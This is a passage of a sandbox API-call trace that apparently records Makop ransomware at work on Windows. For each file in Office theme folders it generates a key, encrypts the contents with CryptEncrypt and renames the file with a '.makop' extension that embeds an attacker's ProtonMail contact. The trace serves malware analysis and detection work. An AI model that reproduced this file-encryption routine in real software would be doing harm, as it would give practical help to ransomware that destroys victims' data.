pdwDataLen=0x6576010*=0x5060, dwBufLen=0x5060 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x5060) returned 1 [0096.883] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.883] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x5060, lpOverlapped=0x0) returned 1 [0096.884] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.884] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x5134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.884] SetEndOfFile (hFile=0x138) returned 1 [0096.890] GetProcessHeap () returned 0x48a0000 [0096.891] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.891] GetProcessHeap () returned 0x48a0000 [0096.891] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.891] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0096.891] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.892] CloseHandle (hObject=0x138) returned 1 [0096.892] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0096.892] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0096.892] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0096.892] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE") returned 64 [0096.892] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*") returned 68 [0096.892] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0096.893] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.893] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0096.893] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned 77 [0096.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.905] GetProcessHeap () returned 0x48a0000 [0096.905] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.905] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.905] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.905] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.909] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.909] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.909] GetProcessHeap () returned 0x48a0000 [0096.909] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.909] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.909] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.909] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.910] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.910] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.910] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.910] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.910] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.910] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.911] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.911] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.911] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb1d8, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xb1d8, lpOverlapped=0x0) returned 1 [0096.913] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xb1e0, dwBufLen=0xb1e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xb1e0) returned 1 [0096.913] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.913] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb1e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xb1e0, lpOverlapped=0x0) returned 1 [0096.914] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.914] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xb2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.914] SetEndOfFile (hFile=0x138) returned 1 [0096.921] GetProcessHeap () returned 0x48a0000 [0096.921] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.921] GetProcessHeap () returned 0x48a0000 [0096.921] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.922] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0096.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.923] CloseHandle (hObject=0x138) returned 1 [0096.923] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0096.923] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF") returned 77 [0096.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.924] GetProcessHeap () returned 0x48a0000 [0096.924] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.924] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.924] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.924] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.924] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.924] GetProcessHeap () returned 0x48a0000 [0096.924] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.924] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.924] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.924] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.928] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.928] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.928] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.928] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.929] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.929] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.929] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.929] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.929] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1e0, lpOverlapped=0x0) returned 1 [0096.929] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1e0) returned 1 [0096.929] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.929] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1e0, lpOverlapped=0x0) returned 1 [0096.929] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.930] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.930] SetEndOfFile (hFile=0x138) returned 1 [0096.936] GetProcessHeap () returned 0x48a0000 [0096.936] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.936] GetProcessHeap () returned 0x48a0000 [0096.936] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.936] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0096.936] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.942] CloseHandle (hObject=0x138) returned 1 [0096.942] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0096.942] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0096.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.943] GetProcessHeap () returned 0x48a0000 [0096.943] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.943] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.943] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.943] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0096.948] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.948] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.948] GetProcessHeap () returned 0x48a0000 [0096.948] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.948] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.948] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.948] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.948] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.948] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.948] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.949] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.949] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.949] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.949] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.949] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.949] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x507, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x507, lpOverlapped=0x0) returned 1 [0096.949] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x510, dwBufLen=0x510 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x510) returned 1 [0096.949] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.949] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x510, lpOverlapped=0x0) returned 1 [0096.950] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.950] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.950] SetEndOfFile (hFile=0x138) returned 1 [0096.956] GetProcessHeap () returned 0x48a0000 [0096.956] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.956] GetProcessHeap () returned 0x48a0000 [0096.956] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.956] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0096.956] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.957] CloseHandle (hObject=0x138) returned 1 [0096.957] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0096.958] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0096.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.958] GetProcessHeap () returned 0x48a0000 [0096.958] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.958] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.958] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.958] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0096.962] 